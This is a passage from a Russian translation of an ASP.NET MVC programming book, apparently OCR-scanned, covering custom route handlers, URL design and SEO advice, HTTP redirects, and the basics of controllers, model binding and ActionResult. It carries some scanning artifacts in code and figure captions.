routes.Add(new LegacyUrlsRoute());
// ... прочие элементы маршрута
}
После этого вы обнаружите, что любые унаследованные URL будут обрабатываться методом действия HandleLegacyUrl () контроллера LegacyContentController (предполагая, что он существует). Все прочие URL будут сопоставляться с остальной частью конфигурации маршрутизации, как обычно.
Реализация специального обработчика маршрутов
Во всех приведенных до сих пор примерах маршрутизации для свойства RouteHandler класса Route использовался обработчик MvcRouteHandler. В большинстве случаев это именно то, что и требуется, поскольку MvcRouteHandler — это стандартный обработчик маршрутов платформы MVC, которому известно, как находить и вызывать классы контроллеров.
Тем не менее, система маршрутизации позволяет при желании применять специальные обработчики на основе IRouteHandler. Их можно использовать для отдельных маршрутов или любых их комбинаций. Применение специального обработчика маршрута позволяет перехватить управление обработкой запросов на очень ранней стадии: сразу после маршрутизации и непосредственно перед запуском любой части механизмов MVC Framework. После этого можно заменить остальную часть конвейера обработки запросов чем-то другим.
Ниже приведен пример очень простой реализации специального обработчика на основе IRouteHandler, который записывает результаты непосредственно в поток ответа:
public class HelloWorldHandler : IRouteHandler
{
public IHttpHandler GetHttpHandler(Requestcontext requestcontext)
Глава 8. URL и маршрутизация 249
{
return new HelloWorldHttpHandler (); }
private class HelloWorldHttpHandler : IHttpHandler {
public bool IsReusable { get ( return false; I } public void ProcessRequest(HttpContext context) {
context.Response.Write("Hello, world!"); } } }
Его можно зарегистрировать в таблице маршрутов следующим образом:
routes-Add (new Route ("SayHello", new HelloWorldHandler () ) )
Затем этот обработчик можно вызвать, введя /SayHello в адресной строке браузера (рис. 8.2).
fccdhosi515S7r-,S₽=-HeSc	T , A '
:, Нейс-. wcrfcP
Рис. 8.2. Результат вызова специального обработчика на основе IRouteHandler
Здесь не применяются концепции контроллеров или действий, потому что все следующие после маршрутизации действия происходят в обход MVC Framework. Можно даже создать совершенно независимую платформу веб-приложений и присоединить ее к корневой системе маршрутизации, что позволит пользоваться заполнителями, значениями по умолчанию, средствами проверки достоверности маршрутов и генерации исходящих URL.
В главе 16 будет показано, как создается специальный обработчик на основе IRouteHandler по имени WebFormsRouteHandler, которому известно, как находить и вызывать страницы ASP.NET WebForms. Это позволит интегрировать ASP.NET WebForms в систему маршрутизации.
Полезные советы относительно схемы URL
Даже при наличии столь полного контроля над схемой URL, все равно остается вопрос: с чего же начать? Как должна выглядеть правильная схема URL? I?ie и каким образом проявятся ее преимущества?
С момента появления Web 2.0 несколько лет назад, многие разработчики стали относиться серьезно к схеме URL. Было выработано несколько важных принципов, придерживаясь которых, можно повысить удобство, совместимость и ранг сайта в поисковых системах.
Делайте URL ясными и дружественными для людей
Помните, что URL — столь же важная часть пользовательского интерфейса, как шрифты и графика. Конечные пользователи определенно обращают внимание на содержимое строки адреса браузера. Они намного увереннее будут помещать закладки и
250 Часть II. ASP.NET MVC во всех деталях
обмениваться такими URL, которые легко читаются и выглядят понятно. Взгляните на следующий URL:
http://www.amazon.com/dp/0471787531/ref=pd_bbs_3?ie=UTF8&s=gateway&qid=1202745736
Захотите ли вы поделиться этой ссылкой со своими близкими? Безопасно ли с ней работать? Содержит ли она какую-то частную регистрационную информацию? Сможете вы продиктовать ее кому-то по телефону? Постоянный ли зто URL, или со временем он изменится? Безусловно, что все эти параметры строки запроса для чего-то нужны, однако ущерб, который они наносят удобству пользования сайтом, очевиден. Ту же самую страницу можно было бы получить и так:
http://www.amazon.сот/search-engine-optimization
Ниже приведен список рекомендаций о том, как сделать URL дружественными для людей.
•	Проектируйте URL таким образом, чтобы описать их содержимое, а не детали реализации приложения. Например, используйте /Articles/AnnualReport вместо /Website_v2/CachedContentServer/FromCache/AnnualReport.
•	Отдавайте предпочтение заголовкам содержимого перед числовыми идентификаторами. Например, применяйте /Articles/AnnualReport, а не /Articles/2392. Если числовой идентификатор должны использоваться для того, чтобы отличать элементы с одинаковыми заголовками или минимизировать обращения к базе данных, указывайте и такой идентификатор, и заголовок (т.е. /Articles/2392/ AnnualReport). Хоть это дольше вводится, но имеет гораздо больше смысла для человека, а также повышает ранг страницы в поисковых системах. Приложение может просто игнорировать заголовок и отображать элемент, найденный по идентификатору.
•	По возможности не используйте расширения имен файлов для HTML-страниц (т.е. . aspx или .mvc)7, а только для специализированных типов (т.е. . jpg, -pdf, . zip). Веб-браузеры не заботятся о расширениях имен файлов, если правильно установлен тип MIME, но люди ожидают, что имена, скажем, PDF-файлов будут оканчиваться на . pdf.
•	Когда зто имеет смысл, создавайте иерархии (например, /Products/Menswear/ Shirts/Red), чтобы посетитель мог догадаться об URL родительской категории.
•	Придерживайтесь независимости от регистра символов (некоторые захотят набирать URL, читая его с печатного листа). Система маршрутизации ASP.NET является нечувствительна к регистру по умолчанию.
•	Избегайте специализированных символов, кодов и последовательностей. Если необходим разделитель слов, используйте тире® (например, /my-great-article). Подчеркивания не являются дружественными, а закодированные в URL пробелы выглядят причудливо (как в /my+great+article) или неуклюже (как в /my%20great%20article).
' Чтобы избежать применения расширений файлов для сгенерированных ASP.NET MVC страниц, сервер IIS 7 должен быть запущен в режиме интегрированного конвейера, а сервер IIS 6 — в режиме с каргами шаблонов. Более подробные сведения ищите в главе 14
8 Дополнительную информацию о тире и подчеркиваниях можно найти по адресу: www.mattcutts.com/blog/dashes-vs-underscores/
Глава 8. URL и маршрутизация 251
•	Не изменяйте URL. Неработающие ссылки — это потерянные возможности. Если же изменений URL избежать не удается, сохраняйте поддержку старой схемы URL насколько возможно долго, организовав постоянные перенаправления (HTTP 301).
URL должен быть кратким, простым для набора, читабельным для человека и постоянным, к тому же он должен отражать структуру сайта. Якоб Нильсен (Jakob Nielsen), гуру в области эргономики программного обеспечения, пишет об зтом в своей статье по адресу www.useit. com/alertbox/990321 .html. Тим Бернерс-Ли (Tim Berners-Lee), изобретатель “Всемирной паутины”, дает аналогичные советы (см. www. w3. org/Provider/ Style/URI).
Следуйте соглашениям протокола HTTP
Вседозволенность в Интернете имеет долгую историю. Даже исключительно небрежно составленная HTML-разметка может визуализироваться в браузерах с использованием наилучших их возможностей. Точно так же и протоколом HTTP можно злоупотреблять без очевидных последствий. Но, как вы вскоре убедитесь, веб-приложения, отвечающие стандартам, являются более читабельными, удобными в использовании и коммерчески более выгодными.
Правильный выбор между запросами GET и POST
Существует эмпирическое правило, что запросы GET должны использоваться для извлечения информации только для чтения, в то время как запросы POST следует применять для любых операций записи, которые изменяют состояние сервера. Согласно стандартам, запросы GET предназначены для безопасных взаимодействий (не имеющих побочных эффектов помимо извлечения информации), а запросы POST — для небезопасных взаимодействий (связанных с принятием решений или изменений чего-либо). Эти соглашения изложены на сайте консорциума W3C по адресу www. w3 .org/Provider/Style/URI.
Запросы GET являются адресуемыми: вся необходимая информация содержится в URL, поэтому на них можно размещать закладки и устанавливать на них ссылки. Традиционная платформа ASP.NET WebForms ненадлежащим образом использует запросы POST для навигации по серверным элементам управления, что не позволяет разместить закладку или сослаться, скажем, на вторую страницу экрана Gridview. В ASP.NET MVC дела обстоят намного лучше.
Не используйте (и, строго говоря, не допускайте) запросы GET для операций, которые могут изменять состояние. Многие веб-разработчики приобрели горький опыт в 2005 г., когда широкой публике был представлен веб-ускоритель Google Web Accelerator. Это приложение производит предварительную выборку всего содержимого каждой доступной по ссылке страницы, что вполне законно, поскольку запросы GET должны быть безопасными. Но, к сожалению, многие веб-разработчики в своих приложениях проигнорировали соглашения HTTP и реализовали доступ к функциональности добавления и удаления из корзины покупок через простые ссылки. Наступил вполне предсказуемый хаос.
В одной компании даже заподозрили, что их система управления содержимым сайтов стала жертвой регулярных атак, потому что все содержимое регулярно удалялось. Позднее обнаружилось, что поисковая система добралась вплоть до URL страницы администрирования и прошла по всем ссылкам удаления. Аутентификация могла бы спасти в такой ситуации, но только не от веб-ускорителей.
О строках запросов
Далеко не всегда использование аргументов строки запросов в URL является неправильным, но все же лучше их избегать. Первая проблема связана с их синтаксисом: все эти вопросительные знаки и амперсанды нарушают базовые принципы удобства
252 Часть II. ASP.NET MVC во всех деталях
использования. Они просто не дружественны к посетителю-человеку. Вторая проблема состоит в том, что пары “имя/значение” строки запросов обычно могут быть переставлены без особых на то причин (/resource?a=l&b=2 обычно дает тот же результат, что и /resource?b=2&a=l). Строго говоря, порядок может играть важную роль, поэтому любая индексация по этим URL будет трактовать их как разные. Это может привести к проблемам неканонического представления и снижения рейтинга в поисковых системах (об этом речь пойдет позже).
Вопреки распространенным мифам, современные поисковые системы при индексации URL включают параметры строки запроса. Поэтому может случиться так, что ключевые слова, появляющиеся в части строки запроса URL, будут трактоваться как менее существенные. Когда же необходимо применять аргументы строки запроса? Хотя никто не даст четких рекомендаций на этот счет, но опыт диктует их использование в следующих ситуациях.
•	Для экономии времени в тех случаях, когда читабельность для человека или поисковая оптимизация не является главной целью, и когда не предполагается, что кто-то разместит закладку на странице. Примером может служить экран содержимого корзины для покупок в приложении SportsStore, а также, возможно, все внутренние, предназначенные только для администратора страницы (для них вполне подойдет вариант строки {controller} / {action} ?params).
•	Для создания впечатления передачи значений алгоритму вместо извлечения существующих ресурсов (например, при поиске /search?query=f ootball или разбиении на страницы /articles/list?page=2). При построении таких URL можно пренебречь интересами поисковой оптимизации или удобства ручного ввода.
Описанный подход, конечно же, субъективен, так что можете поступать по собственному усмотрению.
Используйте корректный тип перенаправления HTTP
Существуют два основных типа команд перенаправления HTTP (см. табл. 8.7). Оба типа команд заставляют браузер переходить на новый URL через запрос GET, поэтому многие разработчики не обращают внимания на разницу между ними.
Таблица 8.7. Наиболее распространенные типы переадресации HTTP
Код состояния	Значение	Интерпретация поисковыми системами	Корректное применение
301	Перемещено постоянно (это подразумевает, что URL устарел навсегда, никогда не должен запрашиваться вновь, и что все входящие ссылки должны быть обновлены новым URL).	Индексировать содержимое под новым URL. Перенести все ссылки и рейтинг страницы из старого URL в новый.	При изменении схемы URL (например, URL в стиле ASRNET) или для гарантии того, что каждый ресурс имеет единственный, канонический URL.
302	Перемещено временно (подразумевает, что клиент должен использовать замененный URL только в текущем запросе, а в следующий раз вновь обращаться к старому URL).	Сохраняет индексацию и содержимое под старым URL*.	При регулярной навигации по несвязанным URL.
* До тех пор, пока не выполняется перенаправление на другое имя хоста. При таком перенаправлении поисковые системы могут предположить, что вы пытаетесь похитить чужое содержимое, и проиндексирует его под целевым URL.
Глава 8. URL и маршрутизация 253
В ASP.NET MVC переадресация HTTP 302 используется всякий раз, когда вы возвращается объект RedirectToRouteResult или RedirectResult. Это не является оправданием для ленивых: если есть намерение выполнить переадресацию HTTP 301, то так и следует поступать. Такую переадресацию можно организовать с помощью расширяющего метода для обычного класса RedirectToRouteResult:
public static class PermanentRedirectionExtensions {
public static PermanentRedirectToRouteResult AsMovedPermanently
(this RedirectToRouteResult redirection)
{
return new PermanentRedirectToRouteResult(redirection);
}
public class PermanentRedirectToRouteResult : ActionResult
{
public RedirectToRouteResult Redirection { get; private set; } public PermanentRedirectToRouteResult(RedirectToRouteResult redirection) {
this.Redirection = redirection;
}
public override void ExecuteResult(Controllercontext context) {
11 После установки нормального перенаправления переключите его на 301 Redirection.ExecuteResult(context);
context.HttpContext.Response.StatusCode = 301;
}
}
}
После импортирования пространства имен этого класса можно просто добавлять .AsMovedPermanently () в конец любого перенаправления:
public ActionResult MyActionMethod()
{ return RedirectToAction("AnotherAction").AsMovedPermanently();
}
Поисковая оптимизация
Выше мы рассмотрели схему URL в терминах повышения удобства и соответствия соглашениям HTTP. Теперь давайте посмотрим, как с помощью схемы URL можно повысить рейтинги страниц в поисковых системах.
Ниже перечислены некоторые приемы, позволяющие увеличить шансы на получение высокого рейтинга.
•	Используйте в URL релевантные ключевые слова: /products/dvd/simpsons получит больший рейтинг, чем /products/293484.
•	Как было сказано ранее, сводите к минимуму применение параметров строки запроса и не используйте подчеркивания в качестве разделителей слов. То и другое может повлиять на результат работы поисковых систем.
•	Назначайте каждой части содержимого один URL — его канонический URL. Рейтинги Google в значительной мере определяются внутренними ссылками, ведущими на единственный элемент индекса, поэтому если вы допускаете индексацию одного и того же содержимого под множеством URL, то рискуете “распылить”
254 Часть II. ASP.NET MVC во всех деталях
рейтинг входящих ссылок между ними. Намного лучше иметь единый элемент индексации с высоким рейтингом, чем несколько с низким рейтингом.
Если необходимо отображать одно и то же содержимое по многим URL (например, чтобы не разрушить старые ссылки), перенаправляйте посетителей со старых URL на новый канонический URL через переадресацию HTTP 301 (перемещено постоянно).
•	Очевидно, что содержимое должно быть адресуемым, иначе оно вообще не будет индексироваться. Это значит, что содержимое должно быть доступно через запрос GET и не зависеть от запроса POST или любого рода навигации на основе JavaScript, Flash или Silverlight.
Поисковая оптимизация (SEO) — темное и загадочное искусство, потому что Google (и другие поисковые системы, если они еще кого-то интересуют) никогда не раскроет внутренних деталей своих алгоритмов определения рейтинга. Схема URL — только часть этого, а более важными аспектами является размещение ссылок и получение входящих ссылок с других популярных сайтов. Сосредоточьтесь на том. чтобы URL лучше работали для людей, и тогда они также будут лучше оценены поисковыми системами.
Резюме
В этой главе вы ближе познакомились с системой маршрутизации, узнав, как ее использовать, и как она устроена внутри. Теперь вы сумеете реализовать почти любую схему URL, создавая более дружественные к человеку и оптимизированные для поиска URL и не прибегая при этом к жесткому кодированию URL где-либо в приложении.
В следующей главе мы рассмотрим сердце платформы MVC Framework — контроллеры и действия.
ГЛАВА 9
Контроллеры и действия
Всякий раз, когда в приложение ASP.NET MVC поступает запрос, его обрабатывает контроллер. Контроллер играет главенствующую роль, т.е. он может делать все, что угодно, для обработки запроса. Он может издать любой набор команд, адресуя их лежащему ниже уровню модели или базе данных, и он может визуализировать любой шаблон представления, вернув его обратно посетителю. Это класс С#, в который помещается любая логика, необходимая для обработки запроса.
В этой главе вы получите детальные сведения о том, как работают эти составные части MVC Framework, и какие возможности это открывает. Мы начнем с краткого обсуждения важнейших архитектурных принципов, а затем рассмотрим возможные варианты приема входных данных, генерации выходных данных и внедрения дополнительной логики. Затем вы увидите, как настраивать механизмы обнаружения и создания экземпляров контроллеров, а также вызывать их методы. И, наконец, будет показано, как все эти проектные решения сочетаются с модульным тестированием.
Краткий обзор
Давайте вспомним, какую роль играют контроллеры в архитектуре MVC. Основная задача MVC — сохранять вещи простыми и организованными за счет разделения ответственности. В частности, архитектура MVC нацелена на разделение трех основных видов ответственности:
•	бизнес-логика или логика предметной области и хранилище данных (модель):
•	логика приложения (контроллер);
•	логика презентации (представление).
Такая организация выбрана потому, что она очень хорошо подходит для большинства бизнес-приложений, которые ежедневно приходится строить разработчикам.
Контроллеры отвечают за логику приложения, которая включает пользовательский ввод, генерацию команд для модели предметной области, извлечение данных из модели, а также перемещение пользователя между различными частями пользовательского интерфейса. Контроллеры можно воспринимать как мост между “Всемирной паутиной” и моделью предметной области, поскольку основная цель приложения — позволить конечному пользователю взаимодействовать с этой моделью.
Логика модели предметной области — это процессы и правила, представляющие бизнес-деятельность. Она относится к отдельной ответственности, поэтому ее не следу
256 Часть II. ASP.NET MVC во всех деталях
ет смешивать с контроллерами. Если же это сделать, будет утрачен контроль над тем, какой код предназначен для моделирования объективной реальности вашего бизнеса, а какой относится к проектным решениям разрабатываемого веб-приложения. В небольшом приложении на такие вещи можно не обращать внимания, но по мере возрастания сложности разделение ответственности становится ключевым условием успеха.
Сравнение с ASP.NET WebForms
Между контроллерами ASP.NET MVC и страницами ASPX традиционной платформы WebForms имеется некоторое сходство. Например, те и другие являются местом взаимодействия с конечным пользователем, а также содержат в себе логику приложения. Во всем остальном они концептуально отличаются.
•	Страницу ASPX WebForms нельзя отделить от ее класса отделенного кода, потому что только совместно они реализуют прикладную и презентационную логику (например, во время привязки данных), отвечая за каждую кнопку и метку на странице. С другой стороны, контроллеры ASP.NET MVC четко отделены от любого конкретного пользовательского интерфейса (т.е. представления) и являются абстрактным представлением набора пользовательских взаимодействий, просто удерживая в себе логику приложения. Такая абстракция помогает сохранять код контроллера простым, а это позволяет легче понять логику приложения и протестировать ее в изоляции.
•	Страницы ASPX WebForms (вместе с их классами отделенного кода) имеют ассоциацию “один к одному” с определенным экраном пользовательского интерфейса. В ASP.NET MVC контроллер не привязан к определенному представлению, поэтому он может обрабатывать запросы, возвращая один или несколько разных пользовательских интерфейсов в зависимости от требований логики приложения.
Естественно, реальную проверку платформа MVC Framework проходит при построении качественного программного обеспечения. Давайте теперь посмотрим, как реализовать и использовать контроллеры.
Все контроллеры реализуют интерфейс IController
В ASP.NET MVC контроллеры представляют собой классы С#. Единственное требование. которое к ним предъявляется, состоит в том, что они должны реализовывать интерфейс IController. Тут не о чем особенно говорить; ниже приведено полное определение этого интерфейса:
public interface IController
{
void Execute(Requestcontext requestcontext);
}
Таким образом, простейший контроллер “Hello, world!” выглядит следующих образом:
public class HelloWorldController : IController
{
public void Execute(Requestcontext requestcontext)
{ requestcontext.HttpContext.Response.Write("Hello, world!");
}
}
Глава 9. Контроллеры и действия 257
Если конфигурация маршрутизации включает элемент Route по умолчанию (т.е. соответствующий шаблону {controller}/{action}/{id}), то для вызова этого контроллера нужно запустить приложение (нажав <F5>) и перейти по адресу /HelloWorld, как показано на рис. 9.1.
Рис. 9.1. Вывод контроллера HelloWorldController
Результат не особо впечатляет, но, понятно, что в метод Execute () можно поместить любую прикладную логику.
Базовый класс Controller
На практике очень редко приходится реализовывать IController непосредственно или писать метод Execute О . Причина в том, что MVC Framework поставляется со стандартным базовым классом для контроллеров System.Web.Mvc.Controller, который реализует IController. Он намного мощнее чистого интерфейса IController и предоставляет следующие возможности.
•	Методы действий. Поведение контроллера разделено на множество методов (вместо единственного метода ExecuteO). Каждый метод действия виден внешнему миру через свой URL и вызывается с параметрами, извлекаемыми из входящего запроса.
•	Результаты действий. Из метода можно вернуть объект, описывающий желаемый результат действия (например, визуализацию представления, переадресацию на другой URL или другой метод действия), который затем выполняется автоматически. Благодаря отделению определения результатов от их выполнения, существенно упрощается автоматизированное тестирование.
•	Фильтры. Многократно используемое поведение (например, аутентификация или кэширование вывода) можно инкапсулировать в виде фильтров, после чего с помощью [Attribute] пометить каждый из них в одном или более контроллерах или методах действий.
Все эти средства подробно рассматриваются в настоящей главе. В предыдущих главах вы уже видели в действии немало контроллеров и методов действий, но для иллюстрации сказанного выше приведем еще один пример:
[Outputcache(Duration=600, VaryByParam="*")J
public class DemoController : Controller
{
public ViewResult ShowGreetingO
{
ViewData["Greeting"] = "Hello, world!";
return View("MyView") ;
258 Часть II. ASP.NET MVC во всех деталях
Этот простой класс контроллера DemoController использует три средства, которые упоминались ранее.
•	Поскольку он унаследован от стандартного базового класса Controller, все его общедоступные методы являются методами действий и потому могут быть вызваны из Веб. URL каждого метода действия определяется активной конфигурацией маршрутизации. При конфигурации по умолчанию метод ShowGreeting () можно вызывать, запрашивая /Demo/ShowGreeting.
•	ShowGreeting () генерирует и возвращает объект результата действия, вызывая View (). Этот конкретный объект ViewResult инструктирует платформу о том, что нужно визуализировать шаблон представления, находящийся в /Views/Demo/MyView. aspx, и снабдить его данными из коллекции ViewData. Представление объединяет эти значения в своем шаблоне, производя и доставляя готовую HTML-страницу.
•	Имеется атрибут фильтра [Outputcache], который кэширует и повторно использует вывод контроллера в течение определенного периода времени (в данном примере 600 секунд, т.е. 10 минут). Поскольку атрибут присоединен к самому классу DemoController, он применяется ко всем методам действий DemoController. В качестве альтернативы фильтры можно присоединять к индивидуальным методам действий, как будет показано далее в этой главе.
На заметку! Если щелкнуть правой кнопкой мыши на имени проекта или папке /Controllers и выбрать в контекстном меню пункт Add1^Controller (Добавить^Контроллер), Visual Studio автоматически создаст класс контроллера, унаследовав его от базового класса System. Web. Mvc. Controller. При желании это можно сделать и вручную.
Как и во многих технологиях программирования, код контроллера следует следующему базовому шаблону: ввод1^обработка1^вывод. Далее в главе рассматриваются возможные варианты ввода данных, обработки и управления состоянием и отправки вывода в веб-браузер.
Получение вводимых данных
Контроллерам часто нужно иметь доступ к входным данным, таким как значения строки запроса, значения формы и параметры, извлеченные из входящего URL системой маршрутизации. Существуют три основных способа доступа к таким данным. Их можно извлечь из набора объектов контекста, передать данные как параметры в метод действия или непосредственно вызывать средство привязки модели. Рассмотрим все приемы по очереди.
Получение данных из объектов контекста
Наиболее прямой путь для получения входных данных состоит в извлечении их вручную. Если контроллер унаследован от базового класса Controller платформы, с помощью таких его свойств, как Request, Response, RouteData, HttpContext и Server, можно получать доступ к значениям GET и POST, заголовкам HTTP, информации cookie-наборов и ко всему прочему, что MVC известно о запросе1. Метод действия может извлекать данные из многих источников, например:
Все эти свойства являются просто сокращениями для доступа к полям свойства Controllercontext. Например, Request — это эквивалент Controllercontext.HttpContext.Request.
Глава 9. Контроллеры и действия 259
public ActionResult RenameProduct() {
// Доступ к различным свойствам объектов контекста
string userName = User.Identity.Name;
string serverName = Server.MachineName;
string clientIP = Request.UserHostAddress;
DateTime datestamp = HttpContext.Timestamp;
AuditRequest(userName, serverName, clientIP, datestamp, "Renaming product");
// Извлечь отправленные данные из Request.Form
string oldProductName = Request.Form["01dName"];
string newProductName = Request.Form["NewName"] ;
bool result = AttemptProductRename(oldProductName, newProductName);
ViewData["RenameResult"] = result; return View("ProductRenamed");
}
Наиболее часто используемые свойства объектов контекста перечислены в табл. 9.1.
Таблица 9.1. Часто используемые свойства объектов контекста
Свойство	Тип	Описание
Request.QueryString	NameValueCollection	Переменные GET, отправленные в запросе.
Request.Form	NameValueCollection	Переменные POST, отправленные в запросе.
Request.Cookies	HttpCookieCollection	Cookie-наборы, отправленные браузером в данном запросе.
Request.HttpMethod	string	Метод HTTP (слово GET или POST), используемый в данном запросе.
Request.Headers	NameValueCollection	Полный набор заголовков HTTP, отправленных в запросе.
Request.Url	Uri	Запрошенный URL.
Request.UserHostAddress	string	IP-адрес пользователя, выполнившего запрос.
RouteData.Route	RouteBase	Выбранный элемент RouteTable.Routes для данного запроса.
RouteData.Values	RouteValueDictionary	Активные параметры маршрута (извлеченные из URL или принятые по умолчанию).
HttpContext.Application	HttpApplicationStateBase	Хранилище состояния приложения.
HttpContext.Cache	Cache	Хранилище кэша приложения.
HttpContext.Items	IDictionary	Хранилище состояния текущего запроса.
HttpContext.Session	HttpSessionStateBase	Хранилище состояния сеанса посетителя.
User	IPrincipal	Информация об аутентификации о текущем пользователе.
TempData	TempDataDictionary	Элементы данных, сохраненные при обра-
ботке предыдущего запроса HTTP в данном сеансе (подробнее об этом позже).
Все доступные сведения о контексте запроса можно просмотреть с помощью средства IntelliSense (введите this, в методе действия и просмотрите раскрывающийся список) или в документации MSDN (найдите справочную информацию по System.Web. Mvc.Controller или System.Web.Mvc.Controllercontext).
260 Часть II. ASP.NET MVC во всех деталях
Использование параметров методов действий
Как было показано в предыдущих главах, методы действий могут принимать параметры. Зачастую это более аккуратный способ получения входных данных, чем ручное их извлечение из объектов контекста. Если удастся сделать метод действия чистым2, т.е. зависимым только от его параметров и не затрагивающим данные контекста, будет легче понять его логику и реализовать модульное тестирование.
Например, вместо написания следующего кода:
public ActionResult ShowWeatherForecast () {
string city = RouteData.Values["city"];
DateTime forDate = DateTime.Parse(Request.Form["forDate"]);
// ... реализовать прогноз погоды . ..
}
можно записать такой код:
public ActionResult ShowWeatherForecast(string city, DateTime forDate) {
// ... реализовать прогноз погоды . . .
)
Для подстановки значений в параметры MVC Framework сканирует несколько объектов контекста, включая Request .Querystring, Request. Form и RouteData .Values, в поисках соответствия пар “ключ/значение”. Ключи нечувствительны к регистру символов, поэтому параметр city может быть получить значение из Request. Form [ "City" ]. (Как вы должны помнить, RouteData. Values — это набор параметров в фигурных скобках, извлеченных системой маршрутизации из входящего URL, плюс любые параметры маршрута по умолчанию.)
Создание объектов параметров с помощью средства привязки модели
“За кулисами” существует компонент ControllerActionlnvoker, который в действительности вызывает метод действия и передает ему параметры. Значения параметров он получает с использованием другого средства платформы, называемого привязкой модели.
Далее вы убедитесь, что привязка модели может поставлять объекты любого типа .NET, включая коллекции и собственные специальные типы. Например, это означает возможность получения загруженного (на сайт) файла просто путем добавления к методу действия параметра типа HttpPostedFileBase. Пример такого подхода был приведен в конце главы 6 при реализации административной функции загрузки изображений товаров в приложении SportsStore.
Особенности работы привязки модели, включая назначение приоритетов для различных объектов контекста, синтаксический разбор входящих строковых значений в произвольные типы объектов .NET, а также рекурсивное заполнение целых коллекций и графов объектов рассматриваются в главе 11. Дополнительные сведения о компоненте ControllerActionlnvoker и его настройке предлагаются далее в этой главе.
Это понятие хотя и близкое, не совсем тождественно чистой фуикири в теории функционального программирования.
Глава 9. Контроллеры и действия 261
Обязательные и необязательные параметры
Если компонент ControllerActionlnvoker не может найти соответствие для определенного параметра, он пытается передать в качестве его значения null. Это годится для ссылочных типов и типов, допускающих значение null (наподобие string), но для типов значений (таких как int или DateTime) будет сгенерировано исключение3. Давайте рассмотрим это с другой точки зрения.
•	Параметры типов значений по своей природе являются обязательными. Чтобы сделать их необязательными, для них необходимо указывать типы, допускающие значение null (вроде int? или DateTime?). В этом случае платформа сможет передавать null, если нет доступного значения.
•	Параметры ссылочных типов по своей природе являются необязательными. Чтобы сделать их обязательными (т.е. гарантировать, что в них не будет передаваться значение null), в начало метода действия потребуется добавить некоторый код, который будет отклонять значения null. Например, если значение равно null, он может сгенерировать исключение ArgumentNullException.
Здесь не идет речь о проверке достоверности введенных данных в пользовательском интерфейсе: о том, как реализовать для конечного пользователя напоминания о необходимости заполнения обязательных полей, читайте в разделе “Проверка достоверности” главы 11.
Параметры, которые привязать нельзя
Для полноты картины стоит упомянуть, что методы действий не мотут иметь параметров out или ref. Если бы могли, то это не имело бы смысла. ASP.NET MVC просто генерирует исключение, когда встречает такой параметр.
Ручной вызов привязки модели в методе действия
В сценариях с вводом данных нередко предусматривается форма <form> с отдельными полями д ля каждого свойства объекта модели. При приеме отправленных данных можно копировать каждое входящее значение в соответствующее свойство объекта, например:
public ActionResult SubmitEditedProduct()
{
Product product = LoadProductBylD(int.Parse(Request.Form["ProductID"]));
product.Name = Request.Form["Name"];
product. Description = Request. Form ["Description"] ;
product.Price = double. Parse (Request.Form["Price"]) ;
CommitChanges(product) ;
return RedirectToAction("List");
}
Большая часть этого кода тривиальна и предсказуема. К счастью, помимо использования привязки модели для получения целиком заполненных объектов как параметров методов действий, привязку можно вызывать явно для обновления свойств любого уже созданного объекта модели.
3 В C# классы относятся к ссылочным типам (хранящимся в куче), а структуры — к типам значений (расположенным в стеке). Наиболее часто используемыми типами значений являются int, bool и DataTime (однако обратите внимание, что string — это ссылочный тип). Ссылочные типы мотут принимать значение null (дескриптор объекта устанавливается в состояние, означающее “нет объекта”), а типы значений — нет (с ними не связан дескриптор; зто просто блок памяти, используемый для хранения значения объекта).
262 Часть II. ASP.NET MVC во всех деталях
Например, предыдущий метод действия можно упростить следующим образом:
public ActionResult SubmitEditedProduct(int productID)
I
Product product = LoadProductBylD(productID);
UpdateModel(product);
CommitChanges (product) ;
return RedirectToAction("List");
)
В завершение дискуссии сравните этот код с приведенным ниже. Он почти такой же, но использует привязку модели неявно.
public ActionResult SubmitEditedProduct(Product product)
{
CommitChanges(product);
return RedirectToAction("List");
}
Неявная привязка модели обычно позволяет создать более ясный и читабельный код. Однако явная привязка модели обеспечивает более полный контроль над начальным созданием экземпляров объектов.
Генерация вывода
После того, как контроллер получил запрос и обработал его некоторым образом (обычно подключая уровень модели), ему нужно сгенерировать некоторый вывод для пользователя. Различают три основных типа ответов, которые может произвести контроллер.
1.	Он может вернуть HTML-разметку, визуализируя представление.
2.	Он может выполнить перенаправление HTTP (часто на другой метод действия).
3.	Он может записать некоторые данные в выходной поток ответа (возможно, текстовые данные вроде XML или JSON или двоичные данные с помещением их в файл).
Далее в главе будет будут даны описания каждого из перечисленных вариантов.
Концепция ActionResult
В случае создания совершенно нового класса, реализующего интерфейс IController (т.е. напрямую реализуя IController, а не наследуя класс от System. Web.Mvc .Controller), сгенерировать ответ можно любым подходящим способом, непосредственно взаимодействуя с controllercontext. HttpContext .Response. Например, можно передать HTML-разметку или выполнить перенаправление HTTP:
public class BareMetalController : IController
{
public void Execute(Requestcontext requestcontext) {
requestcontext.HttpContext.Response.Write("I <b>love</b> HTML!") ;
// ... или . . .
requestcontext.HttpContext.Response.Redirect("/Some/Other/Url");
}
}
Подход прост и он работает. То же самое можно было бы делать и с контроллерами, унаследованными от класса Controller, напрямую обращаясь к свойству Response:
Глава 9. Контроллеры и действия 263
public class SimpleController : Controller
{
public void MyActionMethod()
{
Response.Write("I'11 never stop using the <blink>blink</blink> tag");
/ / ... или . . .
Response.Redirect("/Some/Other/Url");
// ... или . . .
Response.TransmitFile(@"c:\files\somefile.zip");
}
}
Это также работает и так можно поступать4, но такой подход чреват неудобствами при модульном тестировании. Коду требуется работающая реализация Response (объект HttpResponseBase), поэтому придется либо создать тестовый дубль, либо реализовать соответствующую имитацию. В любом случае тестируемый объект должен как-то записывать, какие вызовы методов и какие параметры он получал, чтобы тест мог проверить, что произошло.
Чтобы обойти это неудобство, в MVC установка намерений отделяется от выполнения этих намерений. Ниже описано, как это делается.
•	Метод действия избегает прямой работы с Response (хотя иногда может не быть выбора). Вместо этого он возвращает объект, унаследованный от базового класса ActionResult, который описывает ваши намерения относительно того, какого рода ответ нужен (например, визуализировать конкретное представление или перенаправить на определенный метод действия). Модульные тесты могут просто проинспектировать объект результата действия, чтобы убедиться, что он описывает необходимое поведение. Примеры модульного тестирования будут приведены далее в этой главе.
•	Все объекты ActionResult имеют метод по имени ExecuteResult (); фактически это единственный метод базового класса ActionResult. Во время работы приложения этот метод вызывается и действительно выполняет назначенный ответ, непосредственно взаимодействуя с Response.
